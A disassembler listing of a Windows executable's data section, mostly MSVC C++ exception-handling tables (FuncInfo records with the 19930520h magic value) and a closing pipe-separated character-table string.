dword_440CD0 dd 19930520h, 6, 440CF0h, 5 dup(0) dd 0FFFFFFFFh, 43AA10h, 0
dd offset loc_43AA18
dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0)
dword_440D28 dd 19930520h, 0Ah, 440D48h, 5 dup(0) dd 0FFFFFFFFh, 43AA70h, 0FFFFFFFFh, 43AA78h, 0FFFFFFFFh
dd 43AA80h, 0FFFFFFFFh, 43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh
dd 43AA98h, 0FFFFFFFFh, 43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh
dd 43AAB0h, 0FFFFFFFFh, 43AAB8h, 4 dup(0)
dword_440DA8 dd 19930520h, 0Eh, 440DC8h, 5 dup(0) dd 0FFFFFFFFh, 43AAE0h, 0
dd offset loc_43AAE8
dd 0FFFFFFFFh, 43AAF3h, 0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh
dd 43AB03h, 0FFFFFFFFh, 43AB0Bh, 5, 43AB16h, 0FFFFFFFFh
dd 43AB1Eh, 0FFFFFFFFh, 43AB26h, 0FFFFFFFFh, 43AB2Eh, 9
dd 43AB39h, 0FFFFFFFFh, 43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h
dd 4 dup(0)
dword_440E48 dd 19930520h, 2, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB98h, 0
dd offset loc_43AB90
align 10h
dword_440E80 dd 19930520h, 2, 440EA0h, 5 dup(0) dd 0FFFFFFFFh, 43ABD0h, 0
dd offset loc_43ABD8
dd 2 dup(0)
dword_440EB8 dd 19930520h, 1, 440ED8h, 5 dup(0) dd 0FFFFFFFFh, 43ABF0h, 2 dup(0)
dword_440EE8 dd 19930520h, 7, 440F08h, 5 dup(0) dd 0FFFFFFFFh, 43AC10h, 0
dd offset loc_43AC18
dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
dd 2 dup(0)
dword_440F48 dd 19930520h, 4, 440F68h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 0
dd offset loc_43AC7B
dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90 dd 19930520h, 4, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ACh, 43h, 0
dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8 dd 19930520h, 2, 440FF8h, 5 dup(0) dd 0FFFFFFFFh, 43AD10h, 0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010 dd 19930520h, 1, 441030h, 5 dup(0) dd 0FFFFFFFFh, 43AD30h, 2 dup(0)
dword_441040 dd 19930520h, 1, 441060h, 5 dup(0) dd 0FFFFFFFFh, 43AD50h, 2 dup(0)
dword_441070 dd 19930520h, 2, 441090h, 5 dup(0) dd 0FFFFFFFFh, 43AD70h, 0
dd offset loc_43AD78
dd 2 dup(0)
dword_4410A8 dd 19930520h, 3, 4410C8h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0
dd offset loc_43AD98
dd 1, 43ADA3h, 2 dup(0)
dword_4410E8 dd 19930520h, 3, 441108h, 5 dup(0) dd 0FFFFFFFFh, 43ADD0h, 0
dd offset loc_43ADD8
dd 1, 43ADE0h, 2 dup(0)
dword_441128 dd 19930520h, 1, 441148h, 5 dup(0) dd 0FFFFFFFFh, 43AE00h, 2 dup(0)
dword_441158 dd 19930520h, 4, 441178h, 5 dup(0) dd 0FFFFFFFFh, 43AE20h, 0
dd offset loc_43AE28
dd 0
dd offset loc_43AE30
dd 0
dd offset loc_43AE3B
align 10h
dword_4411A0 dd 19930520h, 6, 4411C0h, 5 dup(0) dd 0FFFFFFFFh, 43AE60h, 0
dd offset loc_43AE68
dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8 dd 19930520h, 3, 441218h, 5 dup(0) dd 0FFFFFFFFh, 43AEB0h, 0
dd offset loc_43AEBB
dd 1, 43AEC6h, 2 dup(0)
dword_441238 dd 19930520h, 4, 441258h, 5 dup(0) dd 0FFFFFFFFh, 43AEF0h, 0
dd offset loc_43AEF8
dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280 dd 19930520h, 5, 4412A0h, 5 dup(0) dd 0FFFFFFFFh, 43AF30h, 0
dd offset loc_43AF38
dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0 dd 19930520h, 4, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AF80h, 0
dd offset loc_43AF88
dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318 dd 19930520h, 3, 441338h, 5 dup(0) dd 0FFFFFFFFh, 43AFC0h, 0
dd offset loc_43AFC8
dd 1, 43AFD0h, 2 dup(0)
dword_441358 dd 19930520h, 1, 441378h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 2 dup(0)
dword_441388 dd 19930520h, 2, 4413A8h, 5 dup(0) dd 0FFFFFFFFh, 43B010h, 0
dd offset loc_43B018
align 10h
dword_4413C0 dd 19930520h, 2, 4413E0h, 5 dup(0) dd 0FFFFFFFFh, 43B030h, 0
dd offset loc_43B038
dd 2 dup(0)
dword_4413F8 dd 19930520h, 3, 441418h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0
dd offset loc_43B05B
dd 1, 43B066h, 2 dup(0)
dword_441438 dd 19930520h, 1, 441458h, 5 dup(0) dd 0FFFFFFFFh, 43B090h, 2 dup(0)
dword_441468 dd 19930520h, 1, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 2 dup(0)
dword_441498 dd 19930520h, 4, 4414B8h, 5 dup(0) dd 0FFFFFFFFh, 43B0D0h, 0
dd offset loc_43B0D8
dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0 dd 19930520h, 7, 441500h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh
dd 43B120h, 2, 43B128h, 3, 43B130h, 4, 43B138h, 0FFFFFFFFh
dd 43B140h, 2 dup(0)
dword_441540 dd 19930520h, 1Bh, 441560h, 5 dup(0) dd 0FFFFFFFFh, 43B170h, 0
dd offset loc_43B178
dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh, 0Dh, 43B22Bh, 0Eh
dd 43B239h, 0Fh, 43B247h, 10h, 43B255h, 11h, 43B263h, 12h
dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh, 15h, 43B29Bh, 16h
dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h, 19h, 43B2D3h, 6 dup(0)
dword_441650 dd 19930520h, 1Bh, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B350h, 0
dd offset loc_43B358
dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh, 0Dh, 43B40Bh, 0Eh
dd 43B419h, 0Fh, 43B427h, 10h, 43B435h, 11h, 43B443h, 12h
dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh, 15h, 43B47Bh, 16h
dd 43B489h, 17h, 43B497h, 18h, 43B4A5h, 19h, 43B4B3h, 6 dup(0)
dword_441760 dd 19930520h, 1, 441780h, 5 dup(0) dd 0FFFFFFFFh, 43B530h, 2 dup(0)
dword_441790 dd 19930520h, 3Dh, 4417B0h, 5 dup(0) dd 0FFFFFFFFh, 43B550h, 0
dd offset loc_43B55B
dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h, 0Dh, 43B60Eh, 0Eh
dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h, 11h, 43B646h, 12h
dd 43B654h, 13h, 43B662h, 14h, 43B670h, 15h, 43B67Eh, 16h
dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h, 19h, 43B6B6h, 1Ah
dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h, 1Dh, 43B6EEh, 1Eh
dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h, 21h, 43B726h, 22h
dd 43B734h, 23h, 43B742h, 24h, 43B750h, 25h, 43B75Eh, 26h
dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h, 29h, 43B796h, 2Ah
dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h, 2Dh, 43B7CEh, 2Eh
dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h, 31h, 43B806h, 32h
dd 43B814h, 33h, 43B822h, 34h, 43B830h, 35h, 43B83Eh, 36h
dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h, 39h, 43B876h, 3Ah
dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
dword_4419D0 dd 19930520h, 4, 4419F0h, 5 dup(0) dd 0FFFFFFFFh, 43B980h, 0
dd offset loc_43B98B
dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18 dd 19930520h, 6, 441A38h, 5 dup(0) dd 0FFFFFFFFh, 43B9D0h, 0
dd offset loc_43B9DB
dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70 dd 19930520h, 4, 441A90h, 5 dup(0) dd 0FFFFFFFFh, 43BA40h, 0
dd offset loc_43BA4E
dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8 dd 19930520h, 5, 441AD8h, 5 dup(0) dd 0FFFFFFFFh, 43BAA0h, 0
dd offset loc_43BAAB
dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08 dd 19930520h, 5, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 0
dd offset loc_43BB0B
dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58 dd 19930520h, 1, 441B78h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0)
dword_441B88 dd 19930520h, 1, 441BA8h, 5 dup(0) dd 0FFFFFFFFh, 43BB80h, 2 dup(0)
dword_441BB8 dd 19930520h, 1, 441BD8h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 2 dup(0)
dword_441BE8 dd 19930520h, 2, 441C08h, 5 dup(0) dd 0FFFFFFFFh, 43BBC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0BBh, 43h, 0
align 10h
dword_441C20 dd 19930520h, 4, 441C40h, 5 dup(0) dd 0FFFFFFFFh, 43BBF0h, 0
dd offset loc_43BBFB
dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68 dd 19930520h, 4, 441C88h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 0
dd offset loc_43BC4B
dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43BC90h, 0
dd offset loc_43BC9B
dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08 dd 19930520h, 4, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43BD00h, 0
dd offset loc_43BD0E
dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50 dd 19930520h, 5, 441D70h, 5 dup(0) dd 0FFFFFFFFh, 43BD60h, 0
dd offset loc_43BD6B
dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0 dd 19930520h, 5, 441DC0h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0BDh, 43h, 0
dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0 dd 19930520h, 1, 441E10h, 5 dup(0) dd 0FFFFFFFFh, 43BE20h, 2 dup(0)
dword_441E20 dd 19930520h, 1, 441E40h, 5 dup(0) dd 0FFFFFFFFh, 43BE40h, 2 dup(0)
dword_441E50 dd 19930520h, 1, 441E70h, 5 dup(0) dd 0FFFFFFFFh, 43BE60h, 2 dup(0)
dword_441E80 dd 19930520h, 2, 441EA0h, 5 dup(0) dd 0FFFFFFFFh, 43BE80h, 0
dd offset loc_43BE8B
dd 2 dup(0)
dword_441EB8 dd 19930520h, 4, 441ED8h, 5 dup(0) dd 0FFFFFFFFh, 43BEB0h, 0
dd offset loc_43BEBB
dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00 dd 19930520h, 1, 441F20h, 5 dup(0) dd 0FFFFFFFFh, 43BF00h, 2 dup(0)
dword_441F30 dd 19930520h, 2, 441F50h, 5 dup(0) dd 0FFFFFFFFh, 43BF20h, 0
dd offset loc_43BF2B
dd 2 dup(0)
dword_441F68 dd 19930520h, 1, 441F88h, 5 dup(0) dd 0FFFFFFFFh, 43BF50h, 2 dup(0)
dword_441F98 dd 19930520h, 1, 441FB8h, 5 dup(0) dd 0FFFFFFFFh, 43BF70h, 2 dup(0)
dword_441FC8 dd 19930520h, 2, 441FE8h, 5 dup(0) dd 0FFFFFFFFh, 43BF90h, 0
dd offset loc_43BF9B
align 10h
dword_442000 dd 19930520h, 1, 442020h, 5 dup(0) dd 0FFFFFFFFh, 43BFC0h, 2 dup(0)
dword_442030 dd 19930520h, 3, 442050h, 5 dup(0) dd 0FFFFFFFFh, 43BFE0h, 0
dd offset loc_43BFF7
dd 1, 43BFFFh, 2 dup(0)
dword_442070 dd 19930520h, 1, 442090h, 5 dup(0) dd 0FFFFFFFFh, 43C020h, 2 dup(0)
dword_4420A0 dd 19930520h, 4, 4420C0h, 5 dup(0) dd 0FFFFFFFFh, 43C048h, 0
dd offset sub_43C040
dd 0
dd offset loc_43C05F
dd 2, 43C067h, 2 dup(0)
dword_4420E8 dd 19930520h, 6, 442108h, 5 dup(0) dd 0FFFFFFFFh, 43C090h, 0FFFFFFFFh, 43C098h, 0FFFFFFFFh
dd 43C0A0h, 0FFFFFFFFh, 43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh
dd 43C0B8h, 2 dup(0)
dword_442140 dd 19930520h, 1Ah, 442160h, 5 dup(0) dd 0FFFFFFFFh, 43C0E0h, 0
dd offset loc_43C0EB
dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh
dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h
dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h
dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h
dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0)
dword_442248 dd 19930520h, 4, 442268h, 5 dup(0) dd 0FFFFFFFFh, 43C270h, 0
dd offset loc_43C278
dd 1, 43C283h, 2, 43C28Eh, 2 dup(0)
dword_442290 dd 19930520h, 4, 4422B0h, 5 dup(0) dd 0FFFFFFFFh, 43C2B0h, 0
dd offset loc_43C2B8
dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0)
dword_4422D8 dd 19930520h, 6, 4422F8h, 5 dup(0) dd 0FFFFFFFFh, 43C2F0h, 0
; ---------------------------------------------------------------------------
clc
retn 43h
; ---------------------------------------------------------------------------
dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0)
dword_442330 dd 19930520h, 6, 442350h, 5 dup(0) dd 0FFFFFFFFh, 43C350h, 0
; ---------------------------------------------------------------------------
pop eax
retn
; ---------------------------------------------------------------------------
dw 43h
dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0)
dword_442388 dd 19930520h, 6, 4423A8h, 5 dup(0) dd 0FFFFFFFFh, 43C3B0h, 0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh
dd 43C3C6h, 2, 43C3D1h, 3, 43C3DCh, 2, 43C3E7h, 2 dup(0)
dword_4423E0 dd 19930520h, 3, 442400h, 5 dup(0) dd 0FFFFFFFFh, 43C410h, 0FFFFFFFFh, 43C418h, 0FFFFFFFFh
dd 43C420h, 2 dup(0)
dword_442420 dd 19930520h, 5, 442440h, 5 dup(0) dd 0FFFFFFFFh, 43C440h, 0FFFFFFFFh, 43C448h, 0FFFFFFFFh
dd 43C450h, 0FFFFFFFFh, 43C458h, 0FFFFFFFFh, 43C460h, 2 dup(0)
dword_442470 dd 19930520h, 0Ch, 442490h, 5 dup(0) dd 0FFFFFFFFh, 43C480h, 0
dd offset loc_43C488
dd 0FFFFFFFFh, 43C490h, 0FFFFFFFFh, 43C498h, 0FFFFFFFFh
dd 43C4A0h, 0FFFFFFFFh, 43C4A8h, 5, 43C4B0h, 0FFFFFFFFh
dd 43C4B8h, 0FFFFFFFFh, 43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh
dd 43C4D0h, 0FFFFFFFFh, 43C4D8h, 4 dup(0)
dd 19930520h, 2, 442520h, 1, 442530h, 3 dup(0)
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 442548h, 4 dup(0)
dd offset loc_41EF2C
align 10h
dword_442560 dd 19930520h, 0Ah, 442580h, 5 dup(0) dd 0FFFFFFFFh, 43C520h, 0
dd offset loc_43C52B
dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h
dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0)
dword_4425E0 dd 19930520h, 2, 442600h, 5 dup(0) dd 0FFFFFFFFh, 43C5C0h, 0
dd offset loc_43C5C8
dd 2 dup(0)
dword_442618 dd 19930520h, 3, 442638h, 5 dup(0) dd 0FFFFFFFFh, 43C5E0h, 0FFFFFFFFh, 43C5EBh, 1, 43C5F6h
dd 2 dup(0)
dword_442658 dd 19930520h, 1, 442678h, 5 dup(0) dd 0FFFFFFFFh, 43C620h, 2 dup(0)
dword_442688 dd 19930520h, 2, 4426A8h, 5 dup(0) dd 0FFFFFFFFh, 43C640h, 0
dd offset loc_43C64B
align 10h
dword_4426C0 dd 19930520h, 16h, 4426E0h, 5 dup(0) dd 0FFFFFFFFh, 43C670h, 0
dd offset loc_43C67B
dd 0
dd offset loc_43C683
dd 0
dd offset loc_43C68B
dd 3, 43C693h, 4, 43C69Bh, 0
dd offset loc_43C6A3
dd 6, 43C6ABh, 7, 43C6B3h, 0
dd offset loc_43C6BB
dd 9, 43C6C3h, 0Ah, 43C6CBh, 0
dd offset loc_43C6D3
dd 0Ch, 43C6DBh, 0Dh, 43C6E3h, 0
dd offset loc_43C6EB
dd 0Fh, 43C6F3h, 0
dd offset loc_43C6FB
dd 11h, 43C703h, 0
dd offset loc_43C70B
dd 13h, 43C713h, 13h, 43C71Bh, 6 dup(0)
dword_4427A8 dd 19930520h, 1, 4427C8h, 5 dup(0) dd 0FFFFFFFFh, 43C760h, 2 dup(0)
dword_4427D8 dd 19930520h, 1, 4427F8h, 5 dup(0) dd 0FFFFFFFFh, 43C790h, 2 dup(0)
dword_442808 dd 19930520h, 5, 442828h, 5 dup(0) dd 0FFFFFFFFh, 43C7C0h, 0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh
dd 43C7D0h, 0FFFFFFFFh, 43C7D8h, 0FFFFFFFFh, 43C7E0h, 2 dup(0)
dword_442858 dd 19930520h, 0Bh, 442878h, 5 dup(0) dd 0FFFFFFFFh, 43C800h, 0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh
dd 43C821h, 0FFFFFFFFh, 43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh
dd 43C842h, 0FFFFFFFFh, 43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh
dd 43C863h, 0FFFFFFFFh, 43C86Eh, 0FFFFFFFFh, 43C816h, 4 dup(0)
dword_4428E0 dd 19930520h, 1, 442900h, 5 dup(0) dd 0FFFFFFFFh, 43C8B0h, 2 dup(0)
dword_442910 dd 19930520h, 5, 442930h, 5 dup(0) dd 0FFFFFFFFh, 43C8D0h, 0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh
dd 43C8E0h, 0FFFFFFFFh, 43C8E8h, 0FFFFFFFFh, 43C8F0h, 2 dup(0)
dword_442960 dd 19930520h, 15h, 442980h, 5 dup(0) dd 0FFFFFFFFh, 43C910h, 0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh
dd 43C923h, 0FFFFFFFFh, 43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh
dd 43C93Bh, 0FFFFFFFFh, 43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh
dd 43C956h, 0FFFFFFFFh, 43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh
dd 43C971h, 0FFFFFFFFh, 43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh
dd 43C989h, 0FFFFFFFFh, 43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh
dd 43C9A4h, 0FFFFFFFFh, 43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh
dd 43C9BCh, 6 dup(0)
dword_442A40 dd 19930520h, 1, 442A60h, 5 dup(0) dd 0FFFFFFFFh, 43CA00h, 2 dup(0)
dword_442A70 dd 19930520h, 5, 442A90h, 5 dup(0) dd 0FFFFFFFFh, 43CA20h, 0
dd offset loc_43CA28
dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0)
dword_442AC0 dd 19930520h, 5, 442AE0h, 5 dup(0) dd 0FFFFFFFFh, 43CA70h, 0
dd offset loc_43CA78
dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0)
dword_442B10 dd 19930520h, 1, 442B30h, 5 dup(0) dd 0FFFFFFFFh, 43CAC0h, 2 dup(0)
dword_442B40 dd 19930520h, 1, 442B60h, 5 dup(0) dd 0FFFFFFFFh, 43CAE0h, 2 dup(0)
dword_442B70 dd 19930520h, 1, 442B90h, 5 dup(0) dd 0FFFFFFFFh, 43CB00h, 2 dup(0)
dword_442BA0 dd 19930520h, 1, 442BC0h, 5 dup(0) dd 0FFFFFFFFh, 43CB20h, 2 dup(0)
dword_442BD0 dd 19930520h, 1, 442BF0h, 5 dup(0) dd 0FFFFFFFFh, 43CB40h, 2 dup(0)
dword_442C00 dd 19930520h, 1, 442C20h, 5 dup(0) dd 0FFFFFFFFh, 43CB60h, 2 dup(0)
dword_442C30 dd 19930520h, 1, 442C50h, 5 dup(0) dd 0FFFFFFFFh, 43CB80h, 2 dup(0)
dword_442C60 dd 19930520h, 1, 442C80h, 5 dup(0) dd 0FFFFFFFFh, 43CBA0h, 2 dup(0)
dword_442C90 dd 19930520h, 6, 442CB0h, 5 dup(0) dd 0FFFFFFFFh, 43CBC0h, 0
dd offset loc_43CBC8
dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0)
dword_442CE8 dd 19930520h, 6, 442D08h, 5 dup(0) dd 0FFFFFFFFh, 43CC20h, 0
dd offset loc_43CC28
dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0)
dword_442D40 dd 19930520h, 3, 442D60h, 5 dup(0) dd 0FFFFFFFFh, 43CC80h, 0
dd offset loc_43CC88
dd 1, 43CC96h, 2 dup(0)
dword_442D80 dd 19930520h, 16h, 442DA0h, 5 dup(0) dd 0FFFFFFFFh, 43CCC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
align 2
dw 43h
dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h
dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah
dd 43CD39h, 2, 43CD44h, 0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh
dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh, 0Fh, 43CD86h, 0Fh
dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h, 6 dup(0)
dword_442E68 dd 19930520h, 1, 442E88h, 5 dup(0) dd 0FFFFFFFFh, 43CE00h, 2 dup(0)
dword_442E98 dd 19930520h, 1, 442EB8h, 5 dup(0) dd 0FFFFFFFFh, 43CE20h, 2 dup(0)
dword_442EC8 dd 19930520h, 1, 442EE8h, 5 dup(0) dd 0FFFFFFFFh, 43CE40h, 2 dup(0)
dword_442EF8 dd 19930520h, 1, 442F18h, 5 dup(0) dd 0FFFFFFFFh, 43CE60h, 2 dup(0)
dword_442F28 dd 19930520h, 1, 442F48h, 5 dup(0) dd 0FFFFFFFFh, 43CE80h, 2 dup(0)
dword_442F58 dd 19930520h, 2, 442F78h, 1, 442F88h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 442FA0h, 4 dup(0)
dd offset loc_42C244
dd 2 dup(0)
dword_442FB8 dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 443000h, 4 dup(0)
dd offset loc_42C321
dd 2 dup(0)
dword_443018 dd 19930520h, 3, 443038h, 5 dup(0) dd 0FFFFFFFFh, 43CEC0h, 0
dd offset loc_43CEC8
dd 1, 43CED0h, 2 dup(0)
dword_443058 dd 19930520h, 1, 443078h, 5 dup(0) dd 0FFFFFFFFh, 43CF00h, 2 dup(0)
dword_443088 dd 19930520h, 1, 4430A8h, 5 dup(0) dd 0FFFFFFFFh, 43CF20h, 2 dup(0)
dword_4430B8 dd 19930520h, 1, 4430D8h, 5 dup(0) dd 0FFFFFFFFh, 43CF40h, 2 dup(0)
dword_4430E8 dd 19930520h, 1, 443108h, 5 dup(0) dd 0FFFFFFFFh, 43CF60h, 2 dup(0)
dword_443118 dd 19930520h, 1, 443138h, 5 dup(0) dd 0FFFFFFFFh, 43CF80h, 2 dup(0)
dword_443148 dd 19930520h, 6, 443168h, 5 dup(0) dd 0FFFFFFFFh, 43CFA0h, 0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh
dd 43CFB0h, 0FFFFFFFFh, 43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh
dd 43CFC8h, 2 dup(0)
dword_4431A0 dd 19930520h, 16h, 4431C0h, 5 dup(0) dd 0FFFFFFFFh, 43CFF0h, 0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh
dd 43D003h, 0FFFFFFFFh, 43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh
dd 43D01Eh, 0FFFFFFFFh, 43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh
dd 43D036h, 0FFFFFFFFh, 43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh
dd 43D051h, 0FFFFFFFFh, 43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh
dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch, 0Eh, 43D084h, 0Eh
dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch, 0Eh, 43D09Ch, 6 dup(0)
dword_443288 dd 19930520h, 2, 4432A8h, 5 dup(0) dd 0FFFFFFFFh, 43D0E0h, 0FFFFFFFFh, 43D0E8h, 2 dup(0)
dword_4432C0 dd 19930520h, 2, 4432E0h, 5 dup(0) dd 0FFFFFFFFh, 43D100h, 0
dd offset loc_43D10B
dd 2 dup(0)
dword_4432F8 dd 19930520h, 1, 443318h, 5 dup(0) dd 0FFFFFFFFh, 43D130h, 2 dup(0)
dword_443328 dd 19930520h, 2, 443348h, 5 dup(0) dd 0FFFFFFFFh, 43D150h, 0FFFFFFFFh, 43D158h, 2 dup(0)
dword_443360 dd 19930520h, 0Ah, 443380h, 5 dup(0) dd 0FFFFFFFFh, 43D170h, 0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh
dd 43D186h, 0FFFFFFFFh, 43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh
dd 43D1A7h, 0FFFFFFFFh, 43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh
dd 43D1C8h, 0FFFFFFFFh, 43D1D3h, 34Dh dup(0)
dd offset aRrrrrrrrrrrrrr+1Fh
dd offset aRrrrrrrrrr+7Ah
dd 105h dup(0)
aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
; DATA XREF: sub_403530+7Fo
db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
